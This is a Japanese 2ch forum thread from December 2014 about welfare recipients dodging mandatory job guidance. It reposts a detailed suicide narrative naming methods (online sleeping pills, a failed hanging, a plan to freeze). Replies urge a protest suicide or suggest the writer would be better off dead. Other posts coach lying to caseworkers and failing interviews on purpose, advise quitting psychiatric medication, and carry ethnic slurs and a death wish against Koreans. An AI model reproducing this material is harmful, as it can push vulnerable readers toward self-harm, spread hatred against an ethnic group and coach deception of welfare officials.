14/12/02 23:14:36.62 .net
就労指導でアルバイト始めて４ヶ月で廃止になった
301:今日のところは名無しで
14/12/02 23:16:16.42 .net
おまえら、政治家になれば税金でＳＭクラブ行き放題だぞｗ
302:今日のところは名無しで
14/12/02 23:17:26.24 .net
政治家いいいなw
303:今日のところは名無しで
14/12/02 23:21:21.11 .net
政治家なんか基本世襲だからな
出自で決まる中世の国に生まれたってこった
304:今日のところは名無しで
14/12/02 23:22:38.57 .net
>>294
それそれｗ
アホでも出来るだろｗ
305:>>247
14/12/02 23:24:33.07 .net
>>283
いいよ。
ヒキ板でさえ釣りと思われたりするし、信じられないのが普通だと思う。
以前、ヒキ板に書き込んだレス、長くなるけど親が死んだ後の話
406 ：>>374：2014/06/03(火) 06:23:15.51 ID:2wTsBoV4
金が無くなった後、家の中で売れるものは全て売る。売るものさえなくなった後、飢えの苦しさに負けて日雇い、日払いで働く。
餓死だけで死ぬのは楽じゃないってこのとき知った。苦しいし、胃腸は痛むし、気持ちが悪くなる。（食べようと思えば食べられるダイエットとは違う）
日雇い、日払いの派遣仕事は毎日あるわけでもなく、普通の人でもドンドン辞めてくぐらいキツイので毎日は入れない。
当然、金にならず、家賃滞納、強制執行で公営団地を追い出される。
数日間のネカフェ暮らしの後、隣の人のラーメンをすする音が聞こえるくらいの格安シェアハウスへ。
イロイロな底辺職で働く。某会社にレギュラーで入れることになったけど、倒産。
失業保険で暮らしながら、次の仕事探すが底辺のバイトすら受からない。失業保険が切れるギリギリで月１０万ほどもらえる３か月の職業訓練に潜り込む。
もうこの頃には面接うける気力もなくなってたので、ホームレスなどに仕事を紹介してくれる公営の事業所で短期の仕事を紹介してもらう。
終了後もそこで一年ほど働く。
その後、同事業所で介護の仕事を紹介されるが、初給料までの金がない。事業所の指導で給料がでるまで生活保護を受けることに。
最低賃金＋数十円程度、週３５時間、バイト待遇、未経験、入所したばかりなのにリーダーやらされる。
あんまり給料が低いので、生活保護費－給料＝分のお金が支給され続ける。
底辺の仕事じゃパワハラなんて当たり前だから、どんな目にあっても耐えてた。でも給与明細を渡さないという違法行為までされて気持ちが切れる。
退職、生活保護暮らしへ。
仕事探す気力、面接受ける気力も無くなってるのを福祉事業所に見抜かれたか、多分、来月で打ち切り。
受け続けるためには区の収容施設へ入らなければならないらしく、もう生保もらう気もない。
最近、ネットで数種類の睡眠薬を手に入れた。試してみて一番効き目のあるヤツをもって夏でも凍死できる場所に行くつもり。餓死＋睡眠薬を使って凍死。
本当に親の残した金が無くなった時点で死ぬべきだった。そうすれば最底辺の仕事で散々嫌な思いをせずにすんだ。みじめでくだらない一生でした。
この頃は三回警告を受けなきゃ打ち切りになるなんてしらなかった。施設も強制ではないとは知らなかった。結局、打ち切られず。
これ書き込んだ後、しばらくして発作的に首つり。苦しくて暴れて縄かけたところが壊れて失敗。
睡眠薬もﾍﾋﾞｰﾄﾞﾘﾝｶｰのせいかほとんどネットで入手したものはほとんど効かず、軽く眠くなる程度。酒のがよっぽど効く。
施設だけは嫌だったので、何度かそれなら打ち切りでいいです。辞退でいいです。そう言ったのは本当。
今だ施設には行かずに済んでる。
自分は常に周囲の顔色、空気をうかがいながら生きてきたので外面を取りつくろう事だけはうまい。
他人が見ても、２０年物のヒキだとはまず思われない。
でっ、就労指導なんかもされ、いやいや面接とかも行ってきたけど凍死のできる冬が来た。やろうかどこにするか迷ってる。
仮に精神科行っても、もう逆に生活保護を続けて受けるための嘘だと福祉課は思うんじゃないかな。
陰々滅々な話でごめんね。
306:今日のところは名無しで
14/12/02 23:38:39.77 .net
>>300
なんかわかるよ
うまく言えないけど
307:今日のところは名無しで
14/12/02 23:40:47.90 .net
>>300
それほど壮絶にではないにせよ
自分も結構やばいところまでいってたな
実際もし保護受けられなかったら自殺するつもりだったしなｗ
あと精神科行っても大抵は無駄で3球程度ならば働け言われるからね
今はまだその気はないけど自分も無茶な耐えられないような仕打ちをされたら
そのことを役所のせいだと実名で遺書を書いてその関連の団体やマスコミにわかるようにして死ぬつもりだ
これまでの例を見ればわかるように国は死人が出ないと動かないので
自分もそうなったら人柱にでもなって世の本当に困ってる貧困者のために死ぬつもりだ
ぜひあなたも例え死ぬことになってもしっかり役所に追い込まれた事を伝えて無駄死にだけはしないでくれ
とはいえそれは本当に追い詰められ身動き取れなくなってからの話で
出来るだけあがいて生きて欲しいとはおもうけどね
308:万引きナマポ ◆PC9OAmBq9R4m
14/12/02 23:43:47.71 .net
>>300
あなたは真面目な方です。少しだけ私と似てる。
私も学歴職歴資格無しのキチガイだけど親がしっかりしてて、極貧だったからスムーズにナマポ受給＆精神科送り。
そのままナマポでブラブラしてたけど、生活保護費一ヶ月分を置き引きされたり、当て逃げされたりするうちに発狂して窃盗道に目覚め、以後アルバイトで万引き等をしてた。
そしてついに逮捕されたｗｗｗｗｗｗ
あなたは立派です。しなくてもいい苦労をしてきました。ハンデがあるのに一人前に働かされるのは虐待に等しいです。
精神科にいって発達障害の診断書を貰ったほうが良いです。しかし精神薬の類いは毒だから飲まないほうがいいよ。自分も副作用で散々な目に遭って断薬した。
309:今日のところは名無しで
14/12/02 23:48:19.31 .net
ちなみに馬鹿いるのでいっておくと
発達障害くらいでは就労不可にはならないからね
310:万引きナマポ ◆PC9OAmBq9R4m
14/12/03 00:03:51.51 .net
発達障害で精神2級は取れる。
引きこもりさん、国や業者のエゴのために不当に働かされてきたんだから、しっかり戦おう。
311:今日のところは名無しで
14/12/03 00:15:29.03 .net
長文書いてる人て死んだ方が楽じゃないか？
312:今日のところは名無しで
14/12/03 00:17:41.93 .net
マスコミに何て意味が無いよ裏の力でもみ消される
313:今日のところは名無しで
14/12/03 00:23:25.32 .net
>>270
貴方が ナマポにならないことを祈ります
314:今日のところは名無しで
14/12/03 00:26:02.40 .net
水戸肛門
315:今日のところは名無しで
14/12/03 00:48:30.28 .net
ダメよ～ダメダメ
316:今日のところは名無しで
14/12/03 01:03:15.41 .net
就労不可には余りこだわらなくてもいいと思うんだけどね、医師が働けると言っても具合が悪い様子をケースワーカーが見れば、ゆっくり療養して下さいと言うよ。
意見書は医学的に医師から一般的に働けるかどうかを確認するけど、絶対ではない
と言っても役所によって温度差ありそうだ
317:今日のところは名無しで
14/12/03 01:05:41.15 .net
>仮に精神科行っても、もう逆に生活保護を続けて受けるための嘘だと福祉課は思うんじゃないかな。
嘘だと思っても医者が就労不可の診断書を書けば、ケースワーカーも従わざるを得ないのでは？
318:今日のところは名無しで
14/12/03 01:22:14.92 .net
就労不可なんてほとんどいねんじゃね？軽作業可がほとんどじゃね？
319:今日のところは名無しで
14/12/03 01:35:25.49 .net
軽作業の範囲ってなんでしょう？倉庫で段ボール箱詰めしてテキパキやらなきゃいけない仕事でも軽作業ってうたってる募集もあるし
320:今日のところは名無しで
14/12/03 02:06:48.66 .net
>>314
そうなんだけど
それ言ったらお終いだろ
ハローワークの斡旋は殆ど無くなるよ
少し違うが内職の封筒貼りでも
短時間に数やらされたら軽作業に？がつくし
321:今日のところは名無しで
14/12/03 02:23:29.69 .net
>>300 元スレこれか。あちこちにコピペされてる。親が死んだ時に追い詰められて無理にでも働いたから、稼働能力ありとみなされたね。
本気で自殺を考えてる人が集まるスレ 70
ｽﾚﾘﾝｸ(dame板:406-431番)
URLﾘﾝｸ(hissi.org)
本気で自殺を考えてる人が集まるスレ 70
ｽﾚﾘﾝｸ(dame板:374番)
URLﾘﾝｸ(hissi.org)
322:今日のところは名無しで
14/12/03 03:00:21.70 .net
>>300 こっちに来いよ。甘ったれ女がいるから。
ひき歴５年目突入の30歳女だけど質問ある？part2
ｽﾚﾘﾝｸ(hikky板:542番)
542: （-＿-）さん [sage] 2014/12/03(水) 02:34:39.81 ID:0OLiC3ne0
コピペじゃねえ。本人が書かないとなんとも言えない。
323:今日のところは名無しで
14/12/03 07:06:54.62 .net
あなたの~アナルの~前で~♪
324:今日のところは名無しで
14/12/03 09:21:17.57 .net
落としに落とされた果ての『派遣登録』
短期・単発で登録
これで生活保護もつなげられる
325:今日のところは名無しで
14/12/03 10:02:05.69 .net
受かっちゃったよ
就労指導対策のため、興味のないのに無理やり受けたところ
面接でもらったパンフレットには飲み会やイベントなどで明るく騒ぐ職員
精神的にまいってる自分にはとてもじゃないがついてけない世界
それに給与なんかも思ってたより低いし（小さな文字でイロイロわかりにくく書いてあった）
結局、断わることに
厳しく就労指導されて、いやいや受けさせられても相手にだって失礼だし、迷惑になると思うんだけど
326:今日のところは名無しで
14/12/03 10:23:37.19 .net
>>320
辞退して週一くらいパートやった方がいい
327:今日のところは名無しで
14/12/03 10:24:05.45 .net
就労支援って役所に行くの？
328:今日のところは名無しで
14/12/03 10:37:06.58 .net
URLﾘﾝｸ(ameblo.jp)
那覇市に在住する[62歳]の女性に対して9月30日付で生活保護停止処分の取り消しが裁判所の判決で認められた事から
女性の弁護団側は今月16日に県庁にて記者会見を行いました
2010年の12月に就労支援として女性へ指導していた求職活動の条件で
[週に5日以上、4時間以上の仕事]
最終的に期限内で仕事を見つけられなかったとして
生活保護の停止処分へ至り裁判の訴訟では那覇市の[就労指導違反]の部分で争われていましたが
女性の年齢や腰に疾患を持つ状態から本人の努力だけでは求職活動を行っても難しい状況だったと判断を下して
市の就労指導が不適切だった事を裁判で証明された形になりますが
女性受給者と同じように無理強いに近い就労支援の指導を受けている方もいらっしゃるように感じて
自立する事が生活保護の最終的な目標となるものの
就労が難しい方と働ける状態の方を見極めて働ける方には手厚く就労支援を行うべきだと感じています
329:今日のところは名無しで
14/12/03 10:54:39.06 .net
はじめて就労支援というのを受けるのですが、支援員に履歴がわかるものを持ってこいと言われました。経歴を詐称して低学歴にしたほうがよいでしょうか？
ケースワーカーに経歴を知られたくない
330:今日のところは名無しで
14/12/03 11:01:34.69 .net
嘘ついたら打ち切りですよ
331:今日のところは名無しで
14/12/03 11:04:36.59 .net
例えばどんな嘘？
332:324
14/12/03 11:08:58.06 .net
>>326
実は通信教育で高卒なのですが、中卒ということにしようかなと
回りに中卒だと思われてます
333:今日のところは名無しで
14/12/03 11:15:50.10 .net
>>324のような不正やる屑は
さっさと打ち切られるべき
334:今日のところは名無しで
14/12/03 11:17:01.70 .net
>>327
わざわざ中卒しゃうのか
嘘なのか 言わないだけなのか 好きにしたらええんちゃう
335:今日のところは名無しで
14/12/03 11:22:35.52 .net
>>329
精神疾患で長く無業だったのですが、就労支援を入れられました。
高卒だとブラックばかり無理矢理斡旋されるかもしれないから、通信教育は伏せて、中卒にしておこうかとなと思いました。
336:今日のところは名無しで
14/12/03 11:25:16.88 .net
オレ高校中退、さり気なく高卒以上に応募。
337:今日のところは名無しで
14/12/03 11:25:51.89 .net
嘘の報告は法的にヤバいはず
それは就労支援対策ではなく不正受給
338:今日のところは名無しで
14/12/03 11:33:02.69 .net
経歴なんて生保もらうときに全部包み隠さず話したし書類も諸々渡したよ
たしか保険証や年金手帳も預けたし
339:今日のところは名無しで
14/12/03 11:34:09.18 .net
何が何でも働くまいと強い信念を持った奴らの集まりやなW
340:今日のところは名無しで
14/12/03 11:34:33.77 .net
履歴書の職歴ってどこまで書けばいいの？
正社員だけ書けばいい？
それとも短期のバイトなんかも全部書くべき？
341:今日のところは名無しで
14/12/03 11:36:39.05 .net
働いてたまるもんかい！わざと面接落ちるんやw!
342:324
14/12/03 11:38:53.90 .net
>>330
以前のケースワーカーは私のことを中卒扱いしていました。正しく情報が伝わっていないらしい。
経歴を報告するなは、区役所にいる一支援員であって、生活保護制度への義務ではないと思います。
何をやられるかわからないから新たな情報は出したくない。
今は制度が変わって、精神疾患でも民間に就労指導するんですね。
343:今日のところは名無しで
14/12/03 11:38:56.94 .net
>>335
各種アルバイト
344:今日のところは名無しで
14/12/03 11:39:14.64 .net
>>253です。
面接行ってきました。
最初受付の書類に記入させられたけど、適当に書いて文字も下手糞に書いた。
担当のおじさんが丁寧に説明してくれたけど、これで受かったら奇跡やなw
345:今日のところは名無しで
14/12/03 11:39:40.16 .net
>>324はチョンだろうな
奴隷民族らしい卑しい考えで騙し嘘が当然なので
詐称するのが当たり前らしいｗ
【朝鮮強姦乞食奴隷ヒトモドキ】韓国で学歴詐称が問題に。大卒を募集したところ30人中28人が高卒だった
URLﾘﾝｸ(www.chosunonline.com)
【韓国】韓国の偽証罪は日本の671倍、理由は嘘を大したことと思わない社会の風潮
URLﾘﾝｸ(japanese.chosun.com)
【韓国】“ウソ中毒”に陥った韓国社会
ｽﾚﾘﾝｸ(news4plus板)
【韓国】うそで塗り固められた詐欺王国・韓国
URLﾘﾝｸ(www.chosunonline.com)
【韓国】息を吐くように嘘をつく「偽証天国」からの脱却には司法妨害罪の導入を
URLﾘﾝｸ(www.chosunonline.com)
【韓国】小学校でもウソの訓練、国全体がウソの学習場だ
URLﾘﾝｸ(japan.donga.com)
【韓国】「朝鮮人は嘘吐き民族」1００年前から西洋人宣教師が苦言
URLﾘﾝｸ(japanese.donga.com)
【韓国】日帝被害者を相手に複数から手数料騙し取る詐欺事件…騙された側も８割が虚言申告
URLﾘﾝｸ(japanese.joins.com)§code=400
【韓国】自動車保険入院患者5人に1人が「仮病」
URLﾘﾝｸ(japanese.chosun.com)
346:今日のところは名無しで
14/12/03 11:43:30.28 .net
アンカー間違えました。
>>333
以前のケースワーカーは私のことを中卒扱いしていました。正しく情報が伝わっていないらしい。
経歴を報告するなは、区役所にいる一支援員であって、生活保護制度への義務ではないと思います。 何をやられるかわからないから新たな情報は出したくない。
今は制度が変わって、精神疾患でも民間に就労指導するんですね。
精神科医がそもそもやる気のない薬屋さんでした。
347:今日のところは名無しで
14/12/03 11:43:44.07 .net
朝鮮人はろくなのがいないな死ね
348:今日のところは名無しで
14/12/03 11:44:52.47 .net
>>339
全くやる気なしやなW
349:今日のところは名無しで
14/12/03 11:46:10.58 .net
>>335
現在の職業生活保護受給中と書けば良い
350:今日のところは名無しで
14/12/03 11:47:09.52 .net
>>263
それって給料どのぐらいですか？
自立できるほどもらえますか？
351:今日のところは名無しで
14/12/03 12:10:39.04 .net
ありがとう、アベノミクス
○消費増税５％→８％ →10%
○所得税増税
○住民税増税
○相続税増税
○年金支給0.7％減額
○国民年金料引き上げ
○高齢者医療費負担増
○診療報酬引き上げ（医療費値上げ）
○国民保険料高齢者引き上げ
○40－64歳介護保険料引き上げ
○児童扶養手当減額
○石油石炭税増税ガソリン代リッター５円ＵＰ！
○電力料金大幅値上げ
○高速料金大幅値上げ ＥＴＣ割引縮小
○公務員給与8%減額停止
○公務員ボーナス11．3％増額
○生活保護三年連続減額中
○軽自動車税は、現在の7200円から1.5倍の10800円に値上げ
○配偶者控除、廃止
○タバコ５％増税
○法人税減税の財源に配当や売却にかかる税率の引き上げ
○大病院の初診料１万円
○固定資産税増税
○議員歳費20%削減廃止
○残業代ゼロ合法化（※公務員は除く）
○公務員給料増額
352:今日のところは名無しで
14/12/03 12:21:39.98 .net
>>289
１０分で辞めたあとどうなった？CWには何か言われた？
353:今日のところは名無しで
14/12/03 12:21:40.35 .net
インフレなのに減額 ナマポ相手だから許されてる矛盾
354:今日のところは名無しで
14/12/03 12:22:19.89 .net
生活保護が史上最高の２１６万４９１９人へ [転載禁止]･2ch.net
ｽﾚﾘﾝｸ(news板)
355:今日のところは名無しで
14/12/03 13:09:52.09 .net
年寄り、障害者
こんなの働かすとか迷惑でしかねえな
使う側からしても他の一般の労働者からしても
ゴミの採用に助成金ぶちこんで形式的に働かせても
助成金の要件切れたら次の助成金取らないとやってけないだろうし
356:今日のところは名無しで
14/12/03 13:25:18.34 .net
でかくりって千八以外の子持ち人妻だったの？
357:今日のところは名無しで
14/12/03 13:25:50.37 .net
>>351
誤爆
358:今日のところは名無しで
14/12/03 14:07:35.91 .net
1人に1億円以上かけて、ホームレスやワーキングプアを量産!? 『明日ママ』でも描けなかった、児童養護施設をいますぐ止めるべき理由
URLﾘﾝｸ(diamond.jp)
359:今日のところは名無しで
14/12/03 14:30:03.74 .net
わたしの~アナルの~前で~♪
360:今日のところは名無しで
14/12/03 14:39:04.87 .net
>>335
就労指導を受けると、履歴書、職務経歴書の書き方の指導を受ける。
書いて持って来いといわれて添削される。
361:今日のところは名無しで
14/12/03 15:00:15.39 .net
>>335
就労指導に法的強制力は無いんでしょ？
自分で探したいって言えばすむ話じゃないの。
362:>>320
14/12/03 15:02:07.03 .net
>>321
採用を辞退した。
また就労指導の爺さんから電話があってあれこれ言われるのかと思うと憂鬱。
電話の電源切っといても封書がきて○月×日に福祉課へ来いと呼び出される。
今回は呼び出される前にパートかバイトを決めて就労指導から逃れるつもり。
以前にも企業からの連絡を無視したこともある。
そこも仕方なく無理やり応募したところ。
月給が額面１６万円代、賞与なしのところだった。
この時は、企業からハロワに苦情が行ったらしい、応募者と連絡が取れないけどどうなってるんだあって。
ホント、無理やりの就労指導は相手にも迷惑だろうと思うんだけど。
363:今日のところは名無しで
14/12/03 15:09:07.01 .net
>>356
そう言って、一度断ったことがあるよ
それで、しばらくしても職を見つけられなくて、ネチネチクドクド、支給日に他の人間がいるとこでいろいろ言われた挙句、半ば強制的に受けさせられたよ
364:今日のところは名無しで
14/12/03 15:20:36.40 .net
うちのとこは「嫌なとこは行かないでいい」ってcwが言うが、
365:今日のところは名無しで
14/12/03 15:21:17.26 .net
>>357
やるなら続きそうな自分がやりたいパートやった方がいいよ。週一でやれば就労指導免除されるから
366:今日のところは名無しで
14/12/03 15:39:31.61 .net
就労支援ってただの嫌がらせじゃないか
367:今日のところは名無しで
14/12/03 16:43:46.06 .net
みなさんナマポ受ける前は働いてたの？
368:今日のところは名無しで
14/12/03 16:50:37.96 .net
フリーターでした
369:今日のところは名無しで
14/12/03 17:55:01.54 .net
おれナマポもらってねえし、人によって支給額も違うんだろうけど
平均額としていくらぐらい貰えんのよ？
月給が額面１６万円代、賞与なしなんてハロワ求人じゃゴロゴロあるしな
これだったら働くよりナマポ貰ってたほうがいいわいな
370:今日のところは名無しで
14/12/03 18:50:49.85 .net
>>364
年いくつ？年齢によって多少違うけど、健常者でだいたい
１３万と少し。冬には冬季加算がつく。１２月にはもち代
１３０００円くらいくれるよ。
371:今日のところは名無しで
14/12/03 19:27:38.64 .net
こっちもち代、１８０００円もらった
二人世帯だからかな
372:今日のところは名無しで
14/12/03 20:14:12.23 .net
さて、そろそろ定期的な就労指導の日が近い。
面接を受けますと言って、受けなかったことのうまい言い訳を考えなきゃ。
なんせ三件も紹介を受けたからなー。
それぞれに違いを出すのに苦労する。
今週もうまく行きますように。
373:今日のところは名無しで
14/12/03 20:17:43.51 .net
役に立つ優秀な指導員っているのかな？
374:今日のところは名無しで
14/12/03 20:21:47.96 .net
ここで、何だかんだご寝てる奴て働きたくないからだろう
375:今日のところは名無しで
14/12/03 20:22:45.74 .net
やっぱり意味のない就労指導やるなら週一パートが最強だわw金は貰えるし食事付きだしw
376:今日のところは名無しで
14/12/03 20:25:43.07 .net
週一パートって何がある？
377:今日のところは名無しで
14/12/03 20:30:50.93 .net
働けよ社会のゴミ共
378:今日のところは名無しで
14/12/03 20:40:11.17 .net
ハロワの指導員ってアフィリエイトとかのネットビジネスは絶対紹介しない
診断書がなけりゃ「働ける」と清掃・介護(笑)だから介護って質悪いんだよ
就労指導はただの政府と役人のエゴ
働きたいやつだけ働けばいい
379:今日のところは名無しで
14/12/03 20:56:14.06 .net
>>373
情弱相手の仕事だからな。
380:今日のところは名無しで
14/12/03 21:10:45.93 .net
コンビニのバイトを週二回、四時間やってるが売れ残りの野菜や弁当をたまに貰えから結構いいよ、賞味期限切れの乳飲料も貰えたりするし。就労指導は気が滅入るけどバイトはなんだかんだまあ楽しい
381:今日のところは名無しで
14/12/03 21:21:41.81 .net
これ以上、介護士増やすのやめて [転載禁止]･2ch.net
ｽﾚﾘﾝｸ(welfare板)
どこの介護施設も、採用枠1人に対して、5～10人以上の応募者。
介護志望者増えすぎたせいで、選考が年々厳しくなり
未経験者歓迎の求人が、初任者研修を最低条件に。
ヘルパー二級あれば応募可の求人が、介護福祉士の資格必要に。
不適合な人材は直ぐに切り捨てられるよう、正規雇用せず、派遣でしか入れない所も年々増加。
介護が人手不足？
そりゃ、人手不足だよ。
24時間体制の特養や老健じゃ、1日24時間分の介護士の人件費掛かるのに
定員一杯の利用者から得られる“利用料”の利益じゃ
応募者が千人来てくれても、ほんの少人数しか雇用できないんだからさ。
介護が人手不足だから、移民受け入れて介護士増やす？
そんな事しても、施設側は少人数しか雇用できないんだから、
介護士が百倍に増えても、人手不足は解消せんよ。
それに、これ以上、介護士（ライバル）が増えたら、中年以上の介護士は介護業界で就職できなくなっちまう訳だが？
施設側が沢山介護士を雇用出来るように、国が利益を誘導せん事には、何にも解決せんだろうが！
382:今日のところは名無しで
14/12/03 21:36:26.41 .net
>>367
俺も数件、紹介されたとこを無視してる状態。
指導員の持ってきた求人票のところを受けないと何で受けないんだって文句言われるし。
以前も無視したら、やる気があるとは思えないって。
月給１６～１７万のところの求人票持ってきて、ここなんか賞与がありますよ、なんて言われてもね。
そこは月給１６万で賞与が年間で２か月分。
月給削って、賞与があるぞって形にしてるだけなのが見え見えなのに。
うまくいく事を祈ってるよ。
383:今日のところは名無しで
14/12/03 21:37:31.99 .net
就労支援で大企業へ押し込んでくれよ
そしたらナマポなんか即廃止しますがな
384:今日のところは名無しで
14/12/03 21:43:01.88 .net
そうだ！そうだ！就労指導は実業家の跡取り婿とか斡旋すればみんな生活保護抜けれるよな！
385:今日のところは名無しで
14/12/03 21:43:38.16 .net
社会のゴミを間違っても大企業は雇わない
386:今日のところは名無しで
14/12/03 21:44:09.27 .net
保護受けてると言っても採用されるものなの?
387:今日のところは名無しで
14/12/03 21:45:53.56 .net
社会のゴミは刑務所みたく収容
388:所に隔離しないと駄目だな！！
389:今日のところは名無しで
14/12/03 21:47:06.64 .net
>>330
今は通院しいてないんですか?
よろしかったら御年齢を?
390:今日のところは名無しで
14/12/03 22:03:38.77 .net
【自立】名古屋市生活保護情報【支援】
ｽﾚﾘﾝｸ(welfare板:18-19番)
18: 名無しさん＠介護・福祉板 [] 2014/10/14(火) 09:20:34.57 ID:jWO1dIrD
就労支援はあくまでも任意であり強制ではありません。
担当CWから就労支援を勧められたら
働きたいのか？
働けるのか？
働きたくないのか？
を考えから答えましょう。
19: 名無しさん＠介護・福祉板 [sage] 2014/10/14(火) 23:02:38.30 ID:eqcgLO9z
>>18
就労支援を受けることは任意ですが、
勤労は「国民の義務」となっています。
「働きなくない」と言った場合、生活保護法にもとづく指導になり、
従わなかった場合は最悪保護廃止になります。(実際それで廃止になった人見たことないけど)
「就職活動(具体的にはハロワで職業相談)したけどいい仕事がない」か、
病気等の理由で働くのが無理なことを客観的に証明するかしてください。
できれば働いてください。
あ、自分名古屋市じゃないので、そちらの実状は知らないです。
あくまで一般論として。
391:今日のところは名無しで
14/12/03 22:25:32.72 .net
>>383
ナマポの指導で通院してたけど薬の副作用きつくて通院しなくなりました。33歳です。
高卒後バイトを数件やって以後無業です。ナマポ歴もその頃から。
392:今日のところは名無しで
14/12/03 22:39:45.30 .net
>>385
薬は何回変えましたか？
393:今日のところは名無しで
14/12/03 22:48:30.64 .net
ここのスレって就労指導と就労支援が混同されてるね。
今まで就労指導受けてきたけど、まったく面接に行かなかった。
その後、僕は朝起きれないので、採用されても遅刻して休んで退職するだけなので、
採用されても企業に申し訳ないので面接には行きませんとＣＷに断言。
その後、就労準備支援事業をＣＷから薦められ、精神科受診と併用して遅刻しても許される支援施設に通わされてる。
利用者全員、発達障害の疑いあり。
ということで、自分は発達障害かもしれないので一般で働くのは申し訳なくてできませんと言えば、
就労指導は免れるが、就労支援が次に待っていると思われるorz
394:今日のところは名無しで
14/12/03 22:53:00.89 .net
朝起きられないのを治す為に支援施設に通わされてるのかな？
結局朝起きられない程度では、就労支援は免れないってことかな・・
395:今日のところは名無しで
14/12/03 22:56:29.57 .net
>>388
生活リズムを整える場所としても就労支援施設は機能してるから、睡眠障害だけでは
就労支援薦められたら断るのは難しいかも。
ちなみに、発達障害者として認定された人も就労継続支援という名目で施設に束縛されてる。
396:今日のところは名無しで
14/12/03 22:58:29.08 .net
>>377
ありがとう。
実はハロワから紹介される求人のほうが落ちやすいので（自分の場合は）、そっちは面接まで行くこともあるよ。
問題は、指導員の持ってくる高齢者でも雇うパート関係。
そっちは採用される場合がある。
というのもウチの地区の高齢者ナマポが次々に採用が決まっていて、ヤバイんだよねぇ（苦笑）。
オレのほうはヤル気はあるようなフリはしてるけど、疲れるね。
いつ見抜かれるかとヒヤヒヤしてるよ。
>>月給１６～１７万のところの求人票持ってきて
ウチのほうはそれより低い賃金だよ。
だから余計に働く意欲が湧かない……。
>>うまくいく事を祈ってるよ。
ありがとう。
こういうスレがあってホッとしてる（最近になって見つけたから）。
なかなか厳しいけど、お互いにうまく生き残ろうな。
そっちもガンガレ。
397:385
14/12/03 23:02:41.93 .net
>>386 最初に出された薬を我慢して服用していましたが、増やされるようになり、自分で色々調べて勝手に減らしました。医者に言いにくくて徐々に通院から足が遠退きました。
>>387-389
就労指導と就労支援を混同してました。政府は就労ごっこのために無駄に税金を使ってますなあ。
398:今日のところは名無しで
14/12/03 23:03:17.95 .net
就労指導はヤムチャで指導指導がフリーザみたいな感じか？？
399:今日のところは名無しで
14/12/03 23:04:00.81 .net
>>387
>>ここのスレって就労指導と就労支援が混同されてるね。
あ、そうなの？
知らんかった……。
職業訓練（カリキュラムを読むと、面接や挨拶の練習とかあった）に行かないかと言われたけど、
断った。
それが職業指導のことなのかな？
今は求人を担当者から週一で紹介されるだけ。
これが就労支援だよね？
なんか、いろいろあってわかりにくいね。
400:今日のところは名無しで
14/12/03 23:10:08.95 .net
就労指導はジジイだろ
401:今日のところは名無しで
14/12/03 23:11:54.90 .net
就労支援施設って作業所じゃん。これはナマポの指導じゃなくて精神科医の分野だろ？
社会福祉法人アムネかつしか 就労支援施設
URLﾘﾝｸ(www.viora-a.com)
402:今日のところは名無しで
14/12/03 23:12:09.87 .net
>>394
そのジジイは全国的に役立たず
403:今日のところは名無しで
14/12/03 23:13:43.30 .net
生活保護のメンヘル版からこちらが紹介されてたので書き込みました。
>>398
来年から益々分かりづらくなりますよね。
①就労指導
②労移行支援
③就労準備支援
④就労継続支援
僕が知っているだけでこれだけある。まだあるのかも・・・。
＞職業訓練（カリキュラムを読むと、面接や挨拶の練習とかあった）に行かないかと言われた
これがおそらく、就労移行支援か就労準備支援のどちらかだと思う。
ハロワなどで求人票見つつ、面接行けと言われるのが就労指導だと思うけど、
正式名称が僕も分からなくてすみませんorz
404:今日のところは名無しで
14/12/03 23:13:47.34 .net
>>385
通院しなくなったってのはCWに無断で？
405:今日のところは名無しで
14/12/03 23:14:45.91 .net
>>381
無理
嘘ついて潜り込むしかない
ハロワの職員も指導員もそう言うよ
あいつら基本無責任だからｗ
406:385
14/12/03 23:16:35.06 .net
>>398
睡眠がめちゃくちゃになり、通院日に起きれなくなり行けなくなりました。
同居の親に薬だけ取りに行ってもらう感じでした。
診断名をつけようがないそうです。
407:今日のところは名無しで
14/12/03 23:18:26.54 .net
CWと指導員って立場はどっちが上なの？
CW若い、指導員ジジイ、って感じだけど
俺はCWの方が話しやすいから全部CWを通して
指導員のジジイはハロワで会うとき以外シカトだけど
今日電話掛かってきて、俺にも電話してくれよって言われたｗ
408:今日のところは名無しで
14/12/03 23:20:44.40 .net
>>397
図書館に行って生活保護手帳を読め
409:今日のところは名無しで
14/12/03 23:21:01.19 .net
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410:今日のところは名無しで
14/12/03 23:30:16.30 .net
>>393
図書館に行って生活保護手帳を読め
411:今日のところは名無しで
14/12/03 23:32:37.13 .net
>>402
ありがとうございます。
僕が混同してただけかもしれないですね。すみません。
働く気もボランティアもする気もなく、孤独に耐えれる人は、
毎回必死になって履歴書書いて、見ず知らずの企業に面接行きまくっていればよさそうですね。
面接行かなくて、保護打切りになっても、また再申請すれば済むだけなのに。
412:今日のところは名無しで
14/12/03 23:34:44.85 .net
>>358
ネチネチグドグド言われても法的強制力は無いんだから右から左に聞き流しとけばいいじゃない。
それで切られたりはしないんでしょ？
413:今日のところは名無しで
14/12/03 23:37:02.58 .net
まともな会社があってそこに入れるなら誰もナマポなんか受けんわな
結論、国が悪い
414:
415:今日のところは名無しで
14/12/03 23:41:55.69 .net
おまいら選挙どこ入れるんだよ？なんかまた自民党が圧勝しそうなムードなんだが、ナマポから政治家目指すやついたら絶対そいつに入れるわw
416:今日のところは名無しで
14/12/03 23:43:07.42 .net
>>405
>面接行かなくて、保護打切りになっても、また再申請すれば済むだけなのに。
ホンマでっか？じゃあ、就労支援無視してれば良いの？
417:今日のところは名無しで
14/12/03 23:45:41.03 .net
>>408
ナマポで自民に入れる奴が居たら、即入院させるべき事案だわなｗ
418:今日のところは名無しで
14/12/03 23:59:23.26 .net
>>286
免責降りちゃえばつけるから
余裕で大丈夫
419:今日のところは名無しで
14/12/04 00:03:46.62 .net
>>406
確かに法的強制力は無いみたい
でもCWにやる気がないとみなされたら警告でしょ
前にも書き込んでた人がいたけど、警告三回で打ち切りになるんじゃない
420:今日のところは名無しで
14/12/04 00:06:11.43 .net
>>410
メンヘラは次世代支持が多かったな
421:今日のところは名無しで
14/12/04 00:11:29.11 .net
>>412
とにかく最後は呼び出されて面談するみたいだな、ググると、でも、そう簡単には打ち切りには出来ないと言ってたぞ
422:今日のところは名無しで
14/12/04 00:14:29.28 .net
役所はまともじゃない。
強い薬(抗精神病薬)飲んでるのに就労指導かけやがった。
糞ハロワのババアが履歴書持ってこいとか電話かけてきた。スカスカの履歴書を。
そこまでして何をやらせたいの？思い通りにならないと嫌がらせするの？
423:今日のところは名無しで
14/12/04 00:16:07.80 .net
>>285
> 免責が決定し、役所で発行される身分証明から「破産者」という記載が削除され、
